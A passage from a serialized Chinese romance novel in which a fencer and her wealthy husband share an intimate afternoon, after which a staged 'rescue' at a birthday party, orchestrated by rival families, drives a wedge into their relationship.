祁南骁眨了眨眼:“哪里多了。” 林晚气不打一处来:“你一下子买几十盒,你一天一个也得用一年啊。” 祁南骁直勾勾的看着她,唇角勾起:“谁说我只能一天用一个的?” 林晚喉咙一哽,现在是讨论这个的时候吗? 眼看着旁边有人过来,祁南骁又选了几盒拿手上,林晚强忍着打死他的冲动,把他拉走了。 到了收银台,饶是售货员见多识广,也对这半车的小孩嗝屁套愣了下。 林晚已经远远走开,装做不认识祁南骁。 祁南骁在后面付款,林晚站在离他十几米远的地方,看着他冷着一张脸等待收银员扫货,她就想笑。 平日里吊儿郎当的人,在外人面前就一脸薄情寡义。他的眼睛生的出奇精致,是那种微微上扬的桃花眼,眼神很慵懒,但眉宇间又堆满了漠然和清傲,是那种打眼就知道不好惹的人。 林晚专心看着祁南骁,丝毫没有注意到旁边有人靠近她。 “欸,这位美女。” 被人突然打扰,林晚回头就看见一个西装革履身高跟她差不多多高的男人靠近她,她微微蹙眉。 一看林晚转过头,男人眼底更是不掩惊艳之色,他不动声色打量着林晚的穿着,简简单单的衬衫搭配半身裙,衣服上也没个名牌logo,心底对林晚的身价有了几分判断,笑着道:“这是我的名片,我住在不远处的云庭湾,有没有兴趣交个朋友啊。” 名片给出去的那一刻,他满脸的骄傲和嘚瑟,期待着林晚听到他的住宅地址后惊讶的表情。 结果林晚非但没有惊讶,反而很镇定的瞧了眼他的名片,上面写着某某公司副总的字样,林晚扯了个敷衍的笑容回道:“抱歉,我不太方便。” 男人不死心,故意当着林晚的面扯领带,露出价值十几万的名表,灯光洒下来表带还闪着一层光,他鼻孔对着人道:“就是交个朋友而已,我看你是大学刚毕业的吧?出了社会,人脉才是最重要的。其实我也没有很想跟你交这个朋友,不过是看你一个刚出社会的小姑娘给点建议罢了。” 林晚眸色暗了暗,忍着脾气想要离开。结果祁南骁走了过来揽住林晚的腰。 男人瞧见祁南骁手上那块价值四千万的手表时,就知道自己惹到不该惹的人了,他神色骤变,瞬间站直身子,笑得谄媚:“你男朋友回来了,我就先走了。” 祁南骁面色沉沉:“走什么?” 男人脚步顿住,扯着一抹笑道:“我就不打扰你们了。” 祁南骁逼近男人,他一走近比男人高一个头,居高临下睨着他,抢过他手里的名片,瞥了眼上面的字,讥讽道:“人脉最重要是吧?” “我让你直接没了人脉,我看你再拿什么去装逼。” 男人肉眼可见的慌了,他看得出祁南骁不好惹,手表价值几千万,无名指上的戒指也是价值不菲的蓝钻,袖扣都是黑曜石的,还有他刚随意收起来的黑卡都意味着祁南骁身份不简单。 “我没有恶意,就是看到这位小姐一个人提着东西站在这儿,想过来帮帮忙。” 祁南骁抬眸,眼底是无尽的冷意和不屑:“用得着你帮忙?你什么心思都写你这张脸上了,你当我是傻子?” 男人在祁南骁冷眼注视下,冷汗都出来了,这里是富人区,离这最近的住宅区是柳山别墅群,住在那里的人非富即贵都是他惹不起的人。 祁南骁全身上下加起来就快价值半个亿了,很显然就是他惹不起的那类人。 男人连忙鞠躬道歉:“对不起,我不知道这位小姐是您的伴侣,真是对不起。” 林晚上前挽住祁南骁的手臂,轻轻拍了拍,她看着那男人冷声道:“你走吧。” 男人听到林晚的话,连连点头转头就跑,他没想到自己随便搭个讪就碰到个硬茬。 祁南骁牵着林晚的手往停车场去,“以后出门在外不要随便跟陌生人说话,谁知道那些人是人还是鬼。” 林晚觉得他这样子像极了教训小孩不要跟陌生人说话的父母,笑着道:“我又不是小孩子,没那么脆弱。” 祁南骁道:“人家又不是对小孩感兴趣,是盯着你这样的美女。” “放心吧,这种人又不是天天都能碰上。” 祁南骁心里堵着一口气:“真想把你栓裤腰带上。” 林晚戳了戳他的侧腰,祁南骁怕痒直接一个箭步跳远了。 林晚站在原地笑了半天,祁南骁走过来掐了掐林晚的腰:“等回家,看我怎么收拾你。” 林晚不以为意,看他两手空空的好奇问:“东西呢?” 祁南骁深吸一口气道:“有专人送到停车场。” 等到他们赶到停车场时,果然看到一个西装革履的服务员站在不远处,见到他们微微颔首。祁南骁打开后备箱,服务员戴着白手套挨个把袋子放进去。 “很高兴为您服务,您的物品已妥善放置好,欢迎下次光临。” 祁南骁在车子里找了几张红色钞票递了出去,道了声谢便启动车子离开。 回到家,林晚便被祁南骁拉着去他房间,他手里还提着个大袋子,光看外表就知道那里面是什么。 林晚不愿意跟他走,祁南骁死活拉着她:“你昨晚答应我的,一回家就跟我在一起。” 林晚咬牙:“现在是白天。” 祁南骁可不管是白天还是黑夜,他把林晚打横一抱就往房间走去。 林晚惊呼一声:“祁南骁。” 祁南骁可不管她怎么威胁,进了房间把袋子一扔,就把林晚压在门板上。 头顶的呼吸声重了几分,林晚这才意识到祁南骁是来真的,还没反应过来,祁南骁捏着她的下巴不容拒绝的吻了下来。 他一手扣住她的手腕,一手捏着她的下巴,胸膛压着她,他的吻很凶,跟之前不一样。 林晚只能张着嘴任他索取,发出呜呜的呻吟。 第52章 第 52 章(改标题) 无关形容的一…… 祁南骁把林晚抵在门上, 他的吻很凶,两人的体温在这一刻快速上升,周身打开空气仿佛变得有限。林晚感觉被祁南骁亲得快要窒息了, 抓着他的服手脚发软,小心的回应他, 本想着安抚住他,让他歇会。 没想到这个讨好的举动把祁南骁刺激得毫无章法。像是啃食猎物的野兽,只剩下本能啃咬和吞咽。 林晚的衬衫扣子就要被解开, 她及时抱住祁南骁的头:“别” 祁南骁抬头, 气息不匀, 眼神炽热露骨。 林晚怯怯开口:“门口。” 祁南骁勾起唇角, 指尖撩开她垂落胸前的发丝,目光早已在她的锁骨下方流连不已, 托着她的腰就把她整个人抱了起来,一手捏着她的脖颈,一手托着她的腰,朝着卧室走去。 林晚怕摔只能双臂环着他的脖子, 长腿圈着他的腰身,不让自己掉下去。 祁南骁一步一步往卧室走去, 边走边亲她的下巴、锁骨,一路游离向下 林晚早已红了脸,现在阻止好像来不及了。尤其是衣摆下 一直戳着她, 她根本不敢动。 她又羞又紧张,直接把头缩在祁南骁后背上, 这个姿势正好方便祁南骁亲她的小猫咪。 祁南骁喉结滚动,低头鼻尖细细地磨着她的‘红痣’,哄着她:“老婆, 待会试哪个?” 林晚死咬住嘴唇,把喉咙里的声音往回咽。 到了床边,祁南骁一改之前的急色,把人慢慢地放下。 跟着压了上去,目光如目标明确的猎夹,一动不动的看着林晚。 林晚白皙的脸早已染上动人的粉,眼尾微微泛红,眼眸里像是有雾气迷离,看着祁南骁的眼神里含羞待放。 祁南骁伸手把她嘴角边的碎发拨开。 轻轻刮着她的脸颊,好滑好软。 祁南骁的眼眸逐渐变薄,薄到已经掩盖不住他心底的欲/望。 他低头吻在她的眼皮、眼下、鼻梁,鼻尖最后是她的唇瓣,碾着她、勾着她、吮住她、撬开她、缠着她 在她逐渐沦陷之时,又突然放缓速度,专心致志的吻她的下唇。 林晚快要溺死在他的温柔陷阱里了,身体早已做出最本能的反应,眼眸里的雾气再次将她的视线笼罩住。 他怎么会突然变得这么温柔,明明刚刚他那么着急,他衣摆下分明就已经很明显了林晚已经彻底沉沦了,情不自禁的抱着他的脖子,贪恋他的炽热温情。  祁南骁搂着她的腰更紧了,身体相贴,林晚的体温比他稍微低一些,他向往她的微凉清甜。 炽热的掌心钻进衣摆,林晚被激得微微颤了下。 祁南骁鼻尖轻轻抵她的鼻子:“可以吗?” 林晚轻轻咬唇:“我说不可以有用吗?” 祁南骁看着她那被咬过之后艳红的唇瓣,低笑一声,虔诚又执迷地道:“乖,我会轻一点。” 他一说话,吹得她脸上的绒毛翩翩起舞。 林晚还没来得及回应就被他的唇给堵上了。 祁南骁孜孜不倦地吻着她的唇,一寸一寸细细碾着完全没有刚才的凶劲儿,温柔得不像话。 比起一上来真刀真枪的,林晚更喜欢这样的温润炽热,她原以为祁南骁会像个猛兽一样失去理智,没想到他还如此温柔,吻得林晚晕晕沉沉的分不清现实和幻觉。 祁南骁稍稍移开,温柔的呼吸打在绒毛上,他既克制又想毁灭,空气里都是独属于她的清甜香。 祁南骁觉得自己快疯了,只要闻到她的气息就上瘾。他觉得自己此刻就像个变态,孜孜不倦地吻着她的每一处。 欲/望、奢迷、躁动的血液里还有一丝幽然而生的毁灭欲。 林晚被亲得眼泪都快掉下来了,惨兮兮的看着他:“能不能做,不能就走。” 祁南骁坏笑,都这个时候了还嘴硬。 “这么急啊。” 指尖攀上她的腰肢,修长的手指一寸一寸碾着 “还不行哦。” 林晚的身材很好,无论是前面还是后面,曲线都很漂亮,祁南骁觉得自己就像个变态,变着法的想要碾着她,将她拆之入腹 “能不能不要了,只亲亲就好。” 中途,林晚虚声求饶。 祁南骁掐着她的腰把她翻了个身,下一秒,俯身下巴蹭了蹭她的蝴蝶骨:“等会儿再亲。” “” 林晚一身狼狈被祁南骁抱去浴室时,还能感受到他欲求未满,她忍不住怨骂出声:“禽兽。” 泡进浴缸时,林晚是靠在祁南骁怀里,她累极了,任由他帮她抹沐浴露。 林晚忍无可忍,睁开眼:“你摸够了吗?” 祁南骁满口答应,目光却早已在她锁骨下流连不已,掐着她的腰把人分开坐在他腿上,他眼神逐渐炽热露骨。 林晚揪住他的耳朵:“不准。” 祁南骁咽了咽口水,哑声道:“老婆。” 林晚瞪着他:“你要是不听话,以后你休想碰我。” 祁南骁额头靠在她肩膀上,都到家门口了还不肯让他进去,他接受不了,当即软声唤道:“老婆” 林晚面无表情,不容置喙:“没用。”她可没忘了,他刚刚一直折磨着她。 祁南骁抵着她,软磨硬泡,装乖卖惨,不这么做也不行。 林晚抬眼道:“刚刚你折磨我的时候可不是这样的。” 祁南骁气息不匀的道:“我知道错了。” 下次还要 林晚冷笑道:“呵,男人在这种时候说的话都是骗人的。” 祁南骁声音低沉暗哑道:“你还听过哪个男人这种时候跟你说过话。” 林晚微微用力:“不要转移话题。” 祁南骁倒吸一口气,说话带着鼻音:“真的知道错了,我发誓。” 林晚道:“知道错了就帮我冲干净抱我出去吃饭。” 祁南骁单手撑着太阳穴,眼眸深邃,心底的妄念还没退干净:“那我怎么办?” 林晚理直气壮:“自己解决。” 祁南骁把手探进浴缸里,额头抵着她的肩膀:“老婆,帮帮我。” “” 林晚从浴室里出来后,已经累到不行了。祁南骁倒是精神神很足,又是给她擦头发,又是给她抹身体乳的,还叼着烟上下楼给她送吃的进来。 林晚躺在沙发上内心有一种久违的满足,身体累极了,灵魂却很清醒。 这是她无法形容的一天。从小到大她过的都很平淡,每天不是训练就是分析对手的比赛视频,好像生命里除了击剑就没有什么能让她如此的兴奋。如今,祁南骁让她体验到这种完完全全只属于她的存在感,这种感觉让她终身难忘。 老实说,他们虽然都是第一次,可身体却意外的合拍。 “想什么呢?”祁南骁端着粥进来时就看到林晚在发呆。 林晚坐起身:“有什么吃的?”她快饿死了,中午光跟他胡闹都没吃午饭。 祁南骁道:“艇仔粥,小心烫。” 林晚抬手要拿勺子,祁南骁抬手避开道:“我喂你。” 林晚狐疑的看着他,她可还记得上次他喂她吃车厘子,吃到后面改吃她的事。 祁南骁笑道:“粥很烫,你的手还有伤。” 听他这么解释,林晚暂时选择相信他。 祁南骁的确老实了,还很细心,每喂一口粥之前先吹凉再递到林晚嘴边。 喂完粥,他又给林晚剥海鲜、喂水果。 林晚大爷似的靠在沙发上玩手机,点开洛梵发给她的视频。 劲爆的DJ音乐,还有男人性感的喘/声吓得林晚直接把手机给扔掉了。 祁南骁拿草莓的手一顿,在林晚反应过来时先一步把她手机拿了过去,然后就看到视频里一个只穿着三角内裤的欧美男人对着镜头扭来扭去。 洛梵的声音时不时传出来:“林晚,你快看他那个腰,太会了。” “真应该带你来现场亲自体验一遍,脱衣秀,太酷辣。” “好男人就是要跟姐妹一起分享。” “啊啊啊,他的腹肌也好硬啊” 后面还有更劲爆的粗话,比如内裤脱了的说出来都得被锁的程度。 祁南骁皱着眉看完屏幕上的视频,脸色黑得能滴下墨。 原来她一天到晚手机不离身,不是刷人家谈男大学生就跟自家好姐妹讨论男人腰多好。 祁南骁咬了咬后槽牙,制着她的手改去掐她的腰:“你还想跟她去现场看?” “别的男人有什么好看的,要看我的给你看。”他说着就要去脱自己的衣服。 林晚赶忙道:“不不用了。” 祁南骁看都不看她,抓着她的手就往腰带里去。 林晚吓得立马求饶:“别,那视频我看都没看。” 祁南骁气笑了:“人以群分,你要是没看过这些,你闺蜜为什么会给你分享?” 林晚哭笑不得:“我真的不知道她会给我发这个,我真的没看过这些。我们平时都不聊这些的。” 祁南骁手一顿,握着她的手机,唇角微勾:“是吗?那你把聊天记录给我看。” “不行。”跟闺蜜的聊天记录怎么能给男人看。 祁南骁坏笑:“看你还有力气,那你今天别想出门了。” 林晚惴惴不安:“不行,我晚上还要去参加江逸的生日宴。” 祁南骁长腿一伸压着她,扣着她的手腕不让她动弹。 “祁南骁,不准咬。” 祁南骁抬眸:“我吃兔兔,又不是吃你。” 林晚咬着唇:“不都是我的。” 祁南骁擦了下唇角,鼻尖抵着她的脸颊低声轻诉:“你是你,兔兔是兔兔。” 林晚后知后觉,他在隐喻,脸色顿时红温:“你给我起来,我要走了。” 祁南骁不让,吻她的脖颈,一下一下,不多时往下亲。 林晚忍无可忍:“你今晚自己睡吧你。” 祁南骁抬起头,闷声道:“这么凶干嘛,昨天才说以后要对我好点的。” 林晚道:“你还说你听我话,你现在听了吗?” 祁南骁不说话了,他埋头在她锁骨上想装死。 林晚给他画大饼道:“你是想一顿饱,还说顿顿饱?” 祁南骁闷闷道:“我一顿都没吃饱。” 林晚心底咆哮,就不应该纵着他,让他当老和尚就行,心疼男人只会变得不幸。 “我真的要迟到了,你快点起来。晚上再陪你。” 祁南骁抬眸:“晚上听我的,我就放你起来。” 林晚咬牙切齿:“你别太过分。” 祁南骁眼里含着笑:“不过分,我一直都很体贴你,你让我进去我就进去,你不让我进去,我就不进去。” 林晚翻了个白眼,信他个鬼。 祁南骁见她不说话,掌心钻进她的衣摆里,林晚吓得只能答应。 起来后,林晚拿着手机就溜了,生怕祁南骁又把她抓回去,回到房间打开手机才发现他居然把洛梵发给她的视频给删了。 小气鬼。 林晚扔下手机,打开衣柜才发现不知什么时候多了不少衣服,还有包包,看样子都是祁南骁安排人送过来的。 林晚挑了其中一件蓝色竖条纹衬衫搭配灰色半裙,最后随手挑了个白色包包就出门了。 祁南骁原本还说要送她去饭店,林晚不肯,要真让他送等下她衣服又得乱了。 最后还是莫白上门找他谈工作走不开,他才作罢让阿辉送她离开。 —— 下午五点多,林晚准时到达饭店,一下车就看到江逸和沈怀川站一起,她有怔愣。 沈怀川见到她,眼波微动走过来:“小晚。” 林晚淡笑道:“沈先生。” 沈怀川唇角下沉,叹了口气:“我们之间一定要这么客气吗?” 林晚有些尴尬,她跟沈怀川也有好几年没见了。小时候还能叫他一声哥,长大后他功成名就,她还碌碌无为,再叫人家一声哥就有点套近乎了。 江逸见气氛有些凝滞,笑着道:“咱们先进去吧,人都到齐了。” 林晚点头,三人一起走进包间。 今天到场的都是击剑队里的人,大家都熟悉也不存在冷场的问题。 唱完生日歌,江逸给林晚分了块蛋糕,林晚拿着蛋糕和于书雨凑在一起聊天吃蛋糕。 沈怀川走过来时,于书雨正跟林晚聊国外某个运动员的瓜,一开始以为是那个运动员现场抓小三的戏码,结果发现自家男朋友出轨的对象居然是个男的,男的就算了,后面还查出来这个男的是她男朋友同母异父的亲弟弟。 林晚听得津津有味,大跌眼镜,以至于奶油都蹭到鼻子上了。 见到沈怀川过来,于书雨诧异的看着他。 沈怀川笑着道:“书雨,我跟小晚有点事要聊,方便” 于书雨后知后觉:“啊,方便,方便。” 她给林晚递了个眼神,便走开了。 沈怀川掏出自己的口袋巾递给林晚,林晚不明所以。 沈怀川指了指她的鼻子,温声笑道:“奶油。” 林晚掏出手机,对着黑色屏幕一照,果然鼻尖上有奶油,她拿出一直捏在手上的纸巾道:“我这里有纸巾,谢谢。” 沈怀川垂眸重新把口袋巾塞进西装口袋里,笑着道:“怎么还是跟以前一样莽撞。” 林晚手一顿,沈怀川看到她手心的纱布,眼眸凝重:“手怎么了?” 林晚淡笑道:“没什么,受了点伤。” 沈怀川微微蹙眉道:“现在是备战奥运的最关键时刻,你要保护好自己。” 林晚点头:“嗯嗯,我会的。” 沈怀川直勾勾的看着她,眼眸里闪过一抹心疼之色:“你爸爸的事,如果有需要帮忙的地方可以直接找我。” 林晚后退半步,淡笑道:“谢谢。” 话题到这有些凝滞,林晚正想着找什么借口离开。 沈怀川看着窗外,似是在伤感:“他对你好吗?” 林晚一开始还没反应过来沈怀川说的是谁? 直到听见他说:“如果当初我没有离开,你是不是就不会被逼着嫁给他了。” 沈怀川回头,阴暗的光线里他的侧影孤绝料峭,他抬眸看着林晚,漆黑的眼眸里,好似有叠云一般莫测的情绪漫漫舒卷着。 突然提起这个,林晚有些意外又有些不知所措。 他这是什么意思? 过去,他一直都是她职业生涯里最大的目标,是老师更是榜样。他在她眼里一直都是教科书般的人,有着偶像光环。她从没联想他们之间会有什么特殊的情谊。 林晚做了个深呼吸,淡笑道:“多谢关心,我丈夫对我很好。” 沈怀川一时错愕,深沉温和的面孔上带着几近微微的哀恸之色,好像严密的面具乍然破裂。 第53章 第 53 章(补1500字) “老公…… 林晚在参加生日宴会时, 祁南骁也正跟狐朋狗友们应酬。 雍雅楼的0号包间里,祁南骁坐在角落里夹着烟刷手机。手机屏幕的微弱亮光隐隐照着他的脸,模糊的面孔上, 鼻梁高挺,眉眼轮廓深邃, 就算看不清具体模样,光凭他这一身冷冽强势的气质就知道他不好惹。 此时祁南骁的手机页面正是和林晚的聊天框,十分钟前她给他回了消息后便再也没有理他了。 祁南骁觉得自己怕不是中毒了, 明明一个小时前还和她黏在一起, 一会儿没见, 就想她想得不行。 食髓知味, 此时的祁南骁满脑子都是林晚风情万种的模样,大片雪白的肌肤, 细腰腿长,胸/脯沉甸甸的,尤其是她动/情时,漂亮的眸子带着湿意和羞涩, 嘴里哼哼唧唧的像是要哭。 光是听她叫,祁南骁就快疯了, 荷尔蒙的互相吸引在那一刻瞬时达到高/潮,男女的天生契合,赤裸的暧昧不清让人每每回忆都不禁哑然。 “紫芯收购案目前怎么样了?” “还在走流程。” “南骁, 你怎么想?” 说话的是男人身穿白色衬衣,长相非常好看, 一张俊朗精致的面孔,高挺的鼻梁上还有一副金边眼镜,很容易让人觉得他斯文又矜贵。 祁南骁回过神儿来, 眉头微蹙:“审计介入之前,尽快查一下紫芯这半年的资金流动。” 蒋酌道:“我怀疑紫芯的人跟秦家接触了。” 祁南骁沉声道:“如果查到他们有接触就让新闻发酵得更快些吧。” 蒋酌他家是南市的顶级豪门,他家直系位居高位,旁系在南市盘根错节。这次围剿秦、窦两家少不得他的帮忙。 祁南骁跟他之前一起在牛津读的大学,两人是利益共同体也是好兄弟。 蒋酌这几天回京探望他爷爷顺便联系祁南骁他们一起聚聚。 祁南骁安排在雍雅楼,几人坐下后点烟喝酒谈工作。 中途手机响,祁南骁拿起来一看,眼底立马含着笑意,直接拨了电话过去。 电话响了十几秒才接,他问:“你那边几点结束,我过去接你。” 林晚回道:“不太确定,我们现在正在去KTV的路上。” “行程这么赶,看来是没时间想我了。” 祁南骁声线低沉,眼眸含着笑,语气慵懒中带着温柔,是前所未有的好脾气,周围的人除了方茗泽和梁景宸,其他人都看傻眼了,祁四少什么时候这么乖顺过? 等祁南骁打情骂俏完过挂了电话,蒋酌一脸八卦:“谁啊?” 祁南骁点了根烟,云淡风轻道:“我老婆。” 蒋酌目瞪口呆:“你什么时候结的婚?居然不请我?还是不是兄弟了?” 祁南骁吐了口烟唇角微勾:“还没办婚礼,办了指定请你。” 蒋酌好奇道:“哪家的千金?我认识吗?” 祁南骁翻过手机,夹着烟的指尖轻点屏幕,蒋酌凑近一瞧,屏幕壁纸上出现一个漂亮的女人,她穿着藕粉色长裙,长发披肩坐在沙发上,细碎的阳光打在她身上,她怀里还抱着一只猫,微微抬头肤白如雪,远黛长眉下眸色纯净清丽,眸底浮着浅浅的笑意,在阳光的映射下,剔透明亮,美得毫不费劲。 “这么漂亮,可以啊南骁!”蒋酌惊诧道。 祁南骁咬着烟嘴角的笑意就没下来过。 方茗泽也瞧见了,开口调侃:“不是漂亮的,他也看不上。” 祁南骁心情好,不跟他计较。 蒋酌笑着道:“什么时候把你夫人带出来介绍给大家认识认识?” 祁南骁夹烟的手摆了摆道:“过几天找个时间把你们介绍给她认识。” 蒋酌拍了拍他的肩膀:“你现在也是个有家室的人了,” 祁南骁弹烟灰的手一顿,他抬眸神色不明的看着蒋酌。 蒋酌道:“有家室意味着你就多了个弱点。” 这话很不中听,可也只有最好的朋友才会这么提醒。 方茗泽凑过来道:“咱们试探窦家这几次,秦家一直安静得不像话,我觉得不太对劲儿。” 梁景宸点头道:“会叫的狗不可怕,怕的就是不叫的疯狗。” 祁南骁闻言心底咯噔一下,他垂着眸,白色的烟雾模糊了他的脸,没人看得清他眼底的神色。 直到他指尖夹着的烟烧成长条灰烬,掉落时刚好烫到他的手,他才回过神儿:“我知道了,我会安排好。” 话音刚落,祁南骁手机响,看到屏幕显示着‘阿辉’的名字时,他心底一沉,划开接通键。 “南哥,林小在KTV遇到有人蓄意报复,是之前那个死去工人的妻子,她在KTV做保洁,在楼梯口碰到林小姐,想把林小姐推下楼梯,被” 祁南骁脸色一沉,站起身眼底是止不住的怒火:“被什么了?” 其他人尤其是方茗泽见祁南骁变了个人,心跳都漏了半拍,烟也不敢抽了,连忙问:“怎么了?” 阿辉忐忑道:“被沈怀川给救了。” 祁南骁拿着手机往外走,他脸上一片波澜不惊的死寂:“林晚有没有受伤。” “林小姐没事,沈怀川替林小姐挡了这一遭从楼梯上摔下去,小腿骨裂了。我们现在在海盛医院。” 祁南骁和莫白赶到医院时已经八点半了,医院门口的灯光亮堂堂,打在黑色的宾利车上,祁南骁下车,顺手将黑色西装的扣子解开,步履不停的直奔骨科。 骨科里,林晚正坐在候诊室的长椅上,二十分钟前她本来打算去走廊打个电话,结果碰到一个保洁阿姨走过来问她是不是林晚,还说她孩子很喜欢击剑运动。她以为就是普通的寒暄便没有多想跟这个保洁阿姨随便聊了几句。结果在聊到她儿子时,她突然情绪很激动说自己的全家都被祁家给害惨了,紧接着便要推她下楼。当时林晚就站在楼梯栏杆边,那个保洁阿姨拼命把她逼到楼梯口,临危之际,沈怀川忽然跑过来把她往回拉,而他却因为惯性被保洁阿姨推下楼。 医院里。 见到沈怀川坐着轮椅出来,林晚赶忙站起来走过去:“医生怎么说?” 江逸推着沈怀川出来道:“小腿骨裂。” 林晚眸色一滞,江逸道:“你们先聊,我先去取药。” 沈怀川笑着道:“辛苦了江逸。” 江逸摆摆手:“嗐,小事。” 等江逸走后,沈怀川才看向林晚:“小晚,警察都跟我说了。” 林晚抬眸看着他,沈怀川道:“那个保洁员是之前在祁家工地死去的那个工人的妻子。那个工人死后,祁家并没有就此放过他们一家,她儿子因为得罪祁家工作没保住,还面临着被祁家起诉的风险。她一时极端找你麻烦。不过,她现在已经被警察给拘留起来了,以后应该不会再找你麻烦了。” 林晚眸色微暗,沈怀川这段话是在变相告诉她,她是被祁家给连累的,祁家背地里做了不为人知的事,把人活活逼得无路可走最后连累到她。 可仔细一想,这是赤裸裸的挑拨离间啊。祁南骁的为人如何,她当然清楚。 林晚没想到沈怀川会做这种事,她有些失望更有些愤怒,昔日那个满怀赤子之心的追梦少年终究还是变了。 “她是怎么知道我跟祁家有关系的?”林晚收敛神色,不动声色的问。 沈怀川微微蹙眉,担忧的看着她:“不排除是祁家的竞争对手故意安排她这么做的。” 林晚垂下长睫让人看不清她眼底的神色,半晌她掀起眼皮淡笑着出声:“不管怎么说,今晚都要谢谢你。” 沈怀川抬眸看着林晚,深浓的眼眸里汪着一泉碧波:“没关系,你现在正是备战奥运的关键时候,切记不能再受伤了。” 林晚没回答,只是淡淡一笑:“我先去打个电话。” 她迈步往前走,经过沈怀川的轮椅时,手腕忽然被人给拉住了。 林晚下意识挣开,警惕的看向沈怀川,他只是笑了一下:“你背包忘记带了。” 林晚微微蹙眉,回头时恰好看见祁南骁站在不远处,面色冰冷快步走过来。 他浑身散发着狠戾,盯着轮椅上的沈怀川像凶猛的野兽。 祁南骁本来没打算理沈怀川这个跳梁的小丑,可看见他拉着林晚手腕的那一刻,他想弄死沈怀川的心都有了。 迈步走过去,祁南骁站在沈怀川面前,垂眸睨着他。 两人四目相对,一个桀骜不驯眼里尽显愤怒,一个清冷儒雅眸光里浅藏着阴狠。 两人默不作声,目光骇人。 眼看着祁南骁的怒意达到顶点,林晚怕他动手,及时拉住他:“南骁。” 沈怀川温和的看向林晚:“小晚,既然你有事,那我就不麻烦你了。” 祁南骁见不得他这副绿茶样,拳头都硬了,他抬腿要去踢沈怀川的轮椅,林晚抱着他的腰往后撤:“祁南骁,这里是医院。” 祁南骁垂眸,看着她焦急的模样,揽着她的腰终是忍下这口气:“我知道了,老婆。” 林晚见他冷静下来才缓缓松开他,祁南骁往前走,林晚以为他又要动手,祁南骁牵着她的手温声道:“我去感谢下沈先生,我们夫妻一体,他帮了你,我也要有所表示。” 林晚这才松了口气。 沈怀川听见‘夫妻’两个字,眸色一沉。 祁南骁走到他面前,伸出右手:“谢谢沈先生帮了我夫人,之后我会安排人上门给你送份大礼。”  沈怀川淡笑着伸手握了上去:“不客气,小晚是我师妹,这是我应该做的。” 祁南骁握着沈怀川的手悄悄用力,沈怀川也不甘示弱,两人暗地里剑拔弩张,你来我往。祁南骁平日里练最多的就是格斗,他下手没轻没重,到后面沈怀川不得不咬紧牙关,脸色都红温了。 祁南骁才放过他,林晚拿上背包走过来看着脸色不太好的沈怀川道:“今天的事,谢谢你。” 沈怀川深吸一口气淡笑着:“没关系,你自己日后也要注意安全,现在是备战奥运的关键时候,不用被身边的人连累。” 他意有所指,祁南骁看在眼里,他牵着林晚的手,看着沈怀川似笑非笑道:“多谢沈先生,改天有时间我跟小晚请你吃饭。” “你朋友回来了,我跟小晚就不打扰你们了。” 祁南骁说完拉着林晚的手直接离开,林晚跟在他身后,路上碰到江逸,她顿住脚步跟江逸又说了几句才跟祁南骁离开。 江逸回来后看着脸色阴沉的沈怀川,又看看已经离开的林晚,不禁叹了口气。 本来今天他这场生日宴并没有邀请沈怀川的,结果谁曾想,沈怀川也恰好在这家饭店,听说他生日主动留下来一起聚会。虽然他很佩服沈怀川之前在击剑队打出的成绩,但这段时间的相处江逸也知道,沈怀川终究跟他印象里的那个奥运冠军不一样了,现在的沈怀川更多的是沉浮商海,心狠手辣说话也喜欢绕圈子,套他的话。 男人看男人一看一个准,江逸早就看出来沈怀川对林晚有意思了,说真的,他心里对沈怀川私底下为人挺不屑的。沈怀川还是运动员那会就跟一个高/官的女儿暧昧不清,退役后更是凭着这层关系成功从商。等人家爸爸被抓后,他又立马甩掉那个高/干/千金,美其名曰去国外留学进修MBA。 回国后风光无限了就想着回去找林晚这个白月光了。 可当初,林晚她爸出事时,江逸可是找过沈怀川,求他帮忙的。当时沈怀川借着在国外不方便给拒绝了的。 现在林晚已经结婚了,看样子跟她丈夫感情也不差,沈怀川又想撬人家墙角了。哪有什么好事都在等着他的,算计来算计去,把人与人之间最纯粹的感情也给算计没了。 想到这,江逸微微叹了口气:“师兄,我们走吧。” 沈怀川被助理推上车,等把江逸送到目的地后,他才掏出手机打给秦东言,冷声道:“秦东言,你别太过分,否则别怪我不客气。” 秦东言笑了笑说:“我早就提醒过你了,林晚不可能独善其身的。今晚这个局我也事先跟你打过招呼了,你自己也默认了。沈怀川做人别太虚伪,你凭什么认为你一个人的力量可以对抗得了我家三代政、商家族?” 沈怀川握紧双拳,这种被人踩着脸的滋味实在是令人恶心。即便他现在成为人人羡慕的新贵,可在这些世家面前,他什么也不是。他厌恶他们的自信,自信到把人玩弄于股掌之间。 秦东言也知道现在还不能把沈怀川这个白手套逼得太紧,他语气缓了缓道:“你这出英雄救美让林晚跟祁南骁有了隔阂,又让她欠下你的人情,这就足够了。目的达到不就好了,过程如何不重要。” 沈怀川沉默,他知道自己现在是被秦东言当做一枚棋子,一枚对抗祁南骁的棋子。 可是他却没法选择,他能从一个毫无背景的运动员成为豪门新贵,一直都是秦家在背后操控的。这些世家,三代政/商势力盘根错节,他们是制定规则的人,根本不是他一个小小新贵能够撼动的。 命运的馈赠早已暗中标好了价格,他想要出人头地,就必须得站队,成为他们对抗祁家的那把刀。 沈怀川挂了电话,望着车外的路灯,灯影下数不清的尘埃飞舞,争先恐后的朝着光源靠近,殊不知那里才是最危险的地方。 困顿不断堆积在心里,变成一根利刺扎向他,这一身功成名就,甚至连这身皮囊都不是他自己的。只有在看见林晚的那一刻,沈怀川才觉得自己找回了独属于他的存在感,那种感觉让他流连不已,他想得到林晚,无比渴望得到她。 —— 祁南骁把林晚带回家,一路上他都安静得离谱。 车上,林晚侧头看向他:“你生气了?” 祁南骁靠在椅背上,面无表情,声音也很平静,但那眼神里的怒意绝对不是息事宁人之意,更像是暴风雨前的宁静:“生我自己的气,我就不应该对他们手下留情,让他们有机会伤害到你。” 林晚眼眸微微一蹙,她拉着他的手温声道:“今晚是个意外,你别私底下去报复人家,这事交给警察去办好不好?” 她是真的怕祁南骁报私仇入了别人的圈套,她不傻这种跟祁家八竿子打不着的人一再挑战祁家。很明显是有人故意设局想让祁南骁犯事好拿捏这个把柄大做文章,离间祁家和上面的关系。这种阶级矛盾的事,无论祁家占不占理,大众都不会理解和同情一个庞大的世家大族。 这是人之常情,林晚并不介意大众是同情谁,她只是希望祁南骁不要冲动中了别人的计。 祁家也许能受祁占山的庇护相安无事,可是如果这类阶级矛盾的事一再发生,祁家还能有多少面子可以挥霍? 祁南骁视线微垂,面无表情,也不应声。 林晚继续道:“那一家人有错法律会去审判,任何人都不能动私刑你明白吗?不要踩上面的底线。” 祁南骁抬眸看着林晚:“我们家世世代代拼命积累的财富和地位都不能保护好想要保护的人,还管什么底线做什么?” 